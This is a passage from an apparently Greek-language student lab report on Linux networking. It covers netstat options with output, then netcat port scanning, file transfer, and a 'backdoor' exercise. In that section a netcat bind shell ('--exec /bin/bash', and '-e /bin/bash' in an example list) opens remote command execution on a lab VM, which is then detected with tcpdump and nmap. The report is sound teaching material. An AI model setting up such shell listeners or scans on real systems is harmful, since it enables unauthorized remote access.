tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
tcp6       0      0 debian:ssh              192.168.122.1:38014
ESTABLISHED
```

-au

```
netstat -au # Shows all active UDP connections.
```

Output

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*
```

-l

```
netstat -l # Displays all listening sockets (both TCP and UDP).
```

Output

```
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node   Path
unix  2      [ ACC ]     STREAM     LISTENING     18176
/var/run/fail2ban/fail2ban.sock
unix  2      [ ACC ]     STREAM     LISTENING     16599
/run/user/1000/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     16607
/run/user/1000/bus
unix  2      [ ACC ]     STREAM     LISTENING     12092
/run/systemd/private
unix  2      [ ACC ]     STREAM     LISTENING     12094
/run/systemd/userdb/io.systemd.DynamicUser
unix  2      [ ACC ]     STREAM     LISTENING     12095
```

```
/run/systemd/io.system.ManagedOOM
unix  2      [ ACC ]     STREAM     LISTENING     12106
/run/systemd/fsck.progress
unix  2      [ ACC ]     STREAM     LISTENING     12114
/run/systemd/journal/stdout
unix  2      [ ACC ]     SEQPACKET  LISTENING     12116
/run/udev/control
unix  2      [ ACC ]     STREAM     LISTENING     13532
/run/systemd/journal/io.systemd.journal
unix  2      [ ACC ]     STREAM     LISTENING     14313
/run/dbus/system_bus_socket
unix  2      [ ACC ]     STREAM     LISTENING     15156
/var/run/sendmail/mta/smcontrol
```

-lt

```
netstat -lt # Lists all listening TCP sockets.
```

Output

```
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
```

-lu

```
netstat -lu # Shows all listening UDP sockets
```

Output

```
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
udp        0      0 0.0.0.0:bootpc          0.0.0.0:*
```

-s

```
netstat -s # Provides statistics for various protocols.
```

Output

```
Ip:
    Forwarding: 2
    7554 total packets received
```

```
    3 with invalid addresses
    0 forwarded
    0 incoming packets discarded
    7035 incoming packets delivered
    5738 requests sent out
    20 dropped because of missing route
Icmp:
    0 ICMP messages received
    0 input ICMP message failed
    ICMP input histogram:
    227 ICMP messages sent
    0 ICMP messages failed
    ICMP output histogram:
        destination unreachable: 227
IcmpMsg:
        OutType3: 227
Tcp:
    5 active connection openings
    1 passive connection openings
    0 failed connection attempts
    0 connection resets received
    1 connections established
    7006 segments received
    5292 segments sent out
    469 segments retransmitted
    0 bad segments received
    0 resets sent
Udp:
    29 packets received
    0 packets to unknown port received
    0 packet receive errors
    227 packets sent
    0 receive buffer errors
    0 send buffer errors
UdpLite:
TcpExt:
    5 TCP sockets finished time wait in fast timer
    30 delayed acks sent
    112 packet headers predicted
    22 acknowledgments not containing data payload received
    3776 predicted acknowledgments
    TCPLostRetransmit: 7
    TCPTimeouts: 560
    TCPLossProbes: 1
    TCPBacklogCoalesce: 8
    TCPDSACKRecv: 1
    TCPSackShiftFallback: 1
```

```
    TCPRcvCoalesce: 330
    TCPOFOQueue: 197
    TCPAutoCorking: 135
    TCPSynRetrans: 460
    TCPOrigDataSent: 3925
    TCPDelivered: 3931
    TCPAckCompressed: 7
    TcpTimeoutRehash: 8
    TCPDSACKRecvSegs: 1
IpExt:
    InOctets: 1794225
    OutOctets: 627627
    InNoECTPkts: 7554
MPTcpExt:
```

-st

```
netstat -st # Displays statistics for TCP connections.
```

Output

```
IcmpMsg:
    OutType3: 227
Tcp:
    5 active connection openings
    1 passive connection openings
    0 failed connection attempts
    0 connection resets received
    1 connections established
    7013 segments received
    5296 segments sent out
    469 segments retransmitted
    0 bad segments received
    0 resets sent
UdpLite:
TcpExt:
    5 TCP sockets finished time wait in fast timer
    30 delayed acks sent
    112 packet headers predicted
    22 acknowledgments not containing data payload received
    3780 predicted acknowledgments
    TCPLostRetransmit: 7
    TCPTimeouts: 560
    TCPLossProbes: 1
    TCPBacklogCoalesce: 8
    TCPDSACKRecv: 1
    TCPSackShiftFallback: 1
```

```
    TCPRcvCoalesce: 330
    TCPOFOQueue: 197
    TCPAutoCorking: 135
    TCPSynRetrans: 460
    TCPOrigDataSent: 3929
    TCPDelivered: 3935
    TCPAckCompressed: 7
    TcpTimeoutRehash: 8
    TCPDSACKRecvSegs: 1
IpExt:
    InOctets: 1794705
    OutOctets: 628075
    InNoECTPkts: 7561
MPTcpExt:
```

-su

```
netstat -su # Displays statistics for UDP connections.
```

Output

```
IcmpMsg:
    OutType3: 227
Udp:
    29 packets received
    0 packets to unknown port received
    0 packet receive errors
    227 packets sent
    0 receive buffer errors
    0 send buffer errors
UdpLite:
IpExt:
    InOctets: 1795325
    OutOctets: 628619
    InNoECTPkts: 7570
MPTcpExt:
```

-tp

```
netstat -tp # Displays the status of TCP connections, along with the
process using the connection.
```

Output

```
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
PID/Program name
tcp6       0      0 debian:ssh              192.168.122.1:36080
ESTABLISHED 1882/sshd: don [pri
```

-ac 5 | grep tcp

```
netstat -ac 5 | grep tcp # Continues report, and filter the results with
grep to only get the tcp
```

Output

```
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
tcp6       0      0 debian:ssh              192.168.122.1:38014
ESTABLISHED
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
tcp6       0      0 debian:ssh              192.168.122.1:38014
ESTABLISHED
```

-r

```
netstat -r # Shows the kernel routing information (routing table).
```

Output

```
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt
Iface
default         192.168.122.1   0.0.0.0         UG        0 0          0
enp1s0
192.168.122.0   0.0.0.0         255.255.255.0   U         0 0          0
enp1s0
```

-c

```
netstat -c # Run continuesly and report network statistics
```

-ap | grep http

```
netstat -ap | grep http # Shows all active connections and their associated processes (-p) and filters for lines containing 'http'.
```

Output

```
No output
```

2. Με ποια εντολή μπορούμε να δούμε τα στατιστικά χρήσης της υπηρεσίας ssh και https?

```
don@debian:~$ netstat -t | grep -E 'ssh | https'
tcp6       0      0 debian:ssh              192.168.122.1:36080
ESTABLISHED
```

Το grep -E επιτρεπει στο grep την χρηση regular patterns

3. netstat -tap | grep LISTEN

3. Εκτελέστε τις εντολές: netstat -tap | grep LISTEN και netstat -tap | grep ESTABLISHED και αναφέρατε την έξοδο και την σημασία τους.

```
don@debian:~$ sudo  netstat -tap | grep LISTEN
tcp        0      0 localhost:8461          0.0.0.0:*               LISTEN
482/python3
tcp        0      0 localhost:submission    0.0.0.0:*               LISTEN
666/sendmail: MTA:
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
666/sendmail: MTA:
tcp6       0      0 [::]:ssh                [::]:*                  LISTEN
1/init
```

```
don@debian:~$ sudo  netstat -tap | grep ESTABLISHED
tcp6       0      0 debian:ssh              192.168.122.1:36080
ESTABLISHED 1882/sshd: don [pri
```

Με το LISTEN μας δειχνει τις πορτες και τις υπηρεσιες που περιμενουν καποια συνδεση, ενω με το ESTABLISHED μας δειχνει ποιες ειναι ενεργες

Παρατηρουμε οτι ειναι ενεργο το ssh απο το οποιο κανουμε remote in

Άλλα εργαλεία γραμμής για την ανάλυση κίνησης είναι το iftop (sudo apt-get install iftop)

---

5. Διαχειριση συνδεσεων

5. Διαχείριση συνδέσεων και αποστολή UDP/TCP segments με την εντολή netcat.
   Το netcat ή nc είναι ένα βοηθητικό πρόγραμμα δικτύωσης, το οποίο διαβάζει και γράφει δεδομένα από τη γραμμή εντολών. Χρησιμοποιεί τόσο το TCP όσο και το UDP για επικοινωνία και έχει σχεδιαστεί για να είναι ένα αξιόπιστο εργαλείο back-end για να παρέχει άμεσα συνδεσιμότητα δικτύου σε άλλες εφαρμογές και χρήστες. Το Ncat δεν θα λειτουργεί μόνο με IPv4 και IPv6, αλλά παρέχει στον χρήστη έναν σχεδόν απεριόριστο αριθμό πιθανών χρήσεων. Ενδεικτικές χρήσεις:

- Port Scanning
- Create a Chat or Web Server
- Verbose Scan with Netcat Commands
- HTTP Requests with Netcat Commands
- TCP Server and TCP Client Commands

η βασική χρήση της εντολής είναι:

```
nc [options] [host] [port] # (port scan)
nc -l [host] [port] # (ενεργοποιεί την ανίχνευση μιας θύρας) .
```

Μια λίστα με τις επιλογές μπορείτε να βρείτε εδώ, ενώ μερικά παραδείγματα εντολών δίνονται παρακάτω:

```
nc -v -n google.com 1-1000
nc -l -p 1299
printf “GET / HTTP/1.0\r\n\r\n” | nc google.com 80
nc -l 1499 > filename.out
nc -n -v -l -p 5555 -e /bin/bash
netcat -u host port
```

1. netcat port scanning

1. Με την χρήση της εντολής netcat κάντε port scanning στην εικονική σας μηχανή πχ με την εντολή:

Μπορουμε με την εντολη:

```
netcat -z -v domain.com 1-65535
```

Με ενα script στην bash μπορει να βγει πιο καθαρο αποτελεσμα :

```
#!/bin/bash

for number in {1..65535}
do
  if netcat -zv 192.168.122.150 $number 2>&1 | grep -w "succeeded"
>/dev/null;
```

```
  then
    echo -e "\nPort: $number is open"
  else
    echo -n "."
  fi
done
```

2. netcat file transfer

2. Στείλτε ένα αρχείο από τον host υπολογιστή σας στο VM εκτελώντας αντίστοιχα τις παρακάτω εντολές:

```
netcat -l 4444 (στο VM)
netcat IP_address_VM 4444 < <αρχείο προς αποστολή> (στο host υπολογιστή)
```

Receiver :

```
ncat -lnvp 4444 > file_name
```

Sender:

```
ncat 192.168.122.150 4444 < file_name
```

Output:

```
don@debian:~$ sudo ncat -lnvp 4444 > file_transferred
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.122.1.
Ncat: Connection from 192.168.122.1:60188.
```

3. netcat backdoor

3. Δημιουργείστε μια backdoor πόρτα στο VMs και εκτελέστε εντολές απομακρυσμένα από τον host υπολογιστή σας. Με ποια εντολή tcpdump θα μπορούσαμε να ανιχνεύαμε την πόρτα που έχει ανοίξει?

Μπορουμε να δημιουργησουμε ενα backdoor στο vm με το να τρεξουμε την εντολη

```
ncat -lnvp 4444 --exec "/bin/bash"
```

Καθε φορα που θα συνδεεται καποιος στην πορτα 4444 θα ξεκιναει διαλογος μεταξυ των υπολογιστων και απο την πλευρα του VM καθε εντολη θα εκτελειται

Απο την πλευρα του συστηματος μας συνδεομαστε κανονικα

```
ncat 192.168.122.150 4444
```

Εαν γνωριζουμε την πορτα μπορουμε ευκολα να την αναγνωρισουμε με το

```
sudo tcpdump -i enp1s0 'port <port>'
```

Εαν δεν γνωριζουμε κανουμε nmap για να βρουμε τις ανοιχτες πορτες και τις υπηρεσιες που τρεχουν απο πισω

```
nmap -sV -sC -T4 192.168.122.150
```

```
└──╼ $nmap -sV -sC -T4 192.168.122.150
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-10 00:51 EET
Nmap scan report for 192.168.122.150 (192.168.122.150)
Host is up (0.00068s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 c30d8763d645e2336414b5ec0a5a74f6 (ECDSA)
|_  256 04b46f53f403180d7af2d4d8984255e9 (ED25519)
4444/tcp open  tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.55 seconds
```